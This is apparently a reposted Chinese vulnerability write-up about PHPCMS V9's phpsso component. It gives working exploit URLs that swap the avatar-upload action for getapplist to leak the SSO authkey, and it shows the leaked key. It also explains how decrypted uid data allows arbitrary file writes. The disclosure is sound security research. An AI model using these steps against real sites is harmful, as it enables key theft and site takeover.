好得很程序员自学网

<tfoot draggable='sEl'></tfoot>

PHPCMS V9 一个为所欲为的漏洞 - 网站安全 - 自学

不知道怎么形容这个 漏洞 ,反正大部分情况下可以做的事情很多了。 官网注册不上,所以无法官网演示。

安装phpcms的时候会强制安装它的通行证。

phpcms/phpsso_server/phpcms/modules/phpsso/index.php里有一段很可怕的代码  

/** * 获取应用列表 */ public function getapplist() { $applist = getcache('applist', 'admin'); exit(serialize($applist)); }

cache里是什么内容呢,我们自己去看一下文件:  

<?php return array ( 1 => array ( 'appid' => '1', 'type' => 'phpcms_v9', 'name' => 'phpcms v9', 'url' => 'http://localhost:8038/study/phpcms/', 'authkey' => 'L7UXO1cpUV6QmkX0oeGAXiOdQy6Hmvkr', 'ip' => '', 'apifilename' => 'api.php?op=phpsso', 'charset' => 'gbk', 'synlogin' => '1', ), ); ?>

所以只要我们调用phpsso并且能走到这个方法里,就会突出sso配置的客户端的所有信息,包括authkey。 查看通行证代码发现,只要$_POST['data']可以解出来,就可以走下去。  

if(isset($_GET) && is_array($_GET) && count($_GET) > 0) { foreach($_GET as $k=>$v) { if(!in_array($k, array('m','c','a'))) { $_POST[$k] = $v; } } }

GET全付给POST  

if(isset($_POST['data'])) { parse_str(sys_auth($_POST['data'], 'DECODE', $this->applist[$this->appid]['authkey']), $this->data); if(empty($this->data) || !is_array($this->data)) { exit('0'); } } else { exit('0'); }

ok,我们怎么拿到这个$_POST['data'],用户上传头像的页面里就有。 注册登录后访问 http://localhost:8038/study/phpcms/index.php?m=member&c=index&a=account_manage_avatar&t=1 查看源文件:  

拿到这个: aHR0cDovL2xvY2FsaG9zdDo4MDM4L3N0dWR5L3BocGNtcy9waHBzc29fc2VydmVyL2luZGV4LnBocD9tPXBocHNzbyZjPWluZGV4JmE9dXBsb2FkYXZhdGFyJmF1dGhfZGF0YT12PTEmYXBwaWQ9MSZkYXRhPWU1YzJWQU1HVVFaUkFRa0lVUVFLVndGVUFnSUNWZ0FJQWxkVkJRRkREUVZjVjBNVVFHa0FReFZaWmxNRUdBOSUyQkRqWm9LMUFIUm1Vd0JHY09YVzVVRGdRaEpEeGFlUVZuR0FkeFZSY0tRQQ== 解除base64_decode编码得 http://localhost:8038/study/phpcms/phpsso_server/index.php?m=phpsso&c=index&a=uploadavatar&auth_data=v=1&appid=1&data=e5c2VAMGUQZRAQkIUQQKVwFUAgICVgAIAldVBQFDDQVcV0MUQGkAQxVZZlMEGA9%2BDjZoK1AHRmUwBGcOXW5UDgQhJDxaeQVnGAdxVRcKQA 将url里的uploadavatar换成:getapplist得: http://localhost:8038/study/phpcms/phpsso_server/index.php?m=phpsso&c=index&a=getapplist&auth_data=v=1&appid=1&data=e5c2VAMGUQZRAQkIUQQKVwFUAgICVgAIAldVBQFDDQVcV0MUQGkAQxVZZlMEGA9%2BDjZoK1AHRmUwBGcOXW5UDgQhJDxaeQVnGAdxVRcKQA 访问得: a:1:{i:1;a:9:{s:5:"appid";s:1:"1";s:4:"type";s:9:"phpcms_v9";s:4:"name";s:9:"phpcms v9";s:3:"url";s:35:"http://localhost:8038/study/phpcms/";s:7:"authkey";s:32:"L7UXO1cpUV6QmkX0oeGAXiOdQy6Hmvkr";s:2:"ip";s:0:"";s:11:"apifilename";s:17:"api.php?op=phpsso";s:7:"charset";s:3:"gbk";s:8:"synlogin";s:1:"1";}} 和我们想的一样,authkey在里面: s:7:"authkey";s:32:"L7UXO1cpUV6QmkX0oeGAXiOdQy6Hmvkr" 拿到这个key已经可以想做什么想什么了,sso体系里的东西都可以做了。  

解密出来的东西不受控制,可以包含null截断,也可以包含单双引号

举个例子: /phpcms/phpsso_server/phpcms/modules/phpsso/index.php 内: public function uploadavatar() 写的 $this->uid = $this->data['uid']; //uid来自解密出来的uid $this->avatardata = $this->data['avatardata']; //数据内容来自解密出来的数据内容 …… $dir = $avatarfile.$dir1.'/'.$dir2.'/'.$this->uid.'/'; //目录名里引用了来自解密内容的uid …… $filename = $dir.'180x180.jpg'; //文件名又来自引用了解密uid内容的$dir变量 $fp = fopen($filename, 'w'); fwrite($fp, $this->avatardata); fclose($fp); 文件写入了,反正是想做什么做什么。  

修复方案:

不要过分信任自己的 加密 解密机制,要小心处理每个过程。

查看更多关于PHPCMS V9 一个为所欲为的漏洞 - 网站安全 - 自学的详细内容...

  阅读:53次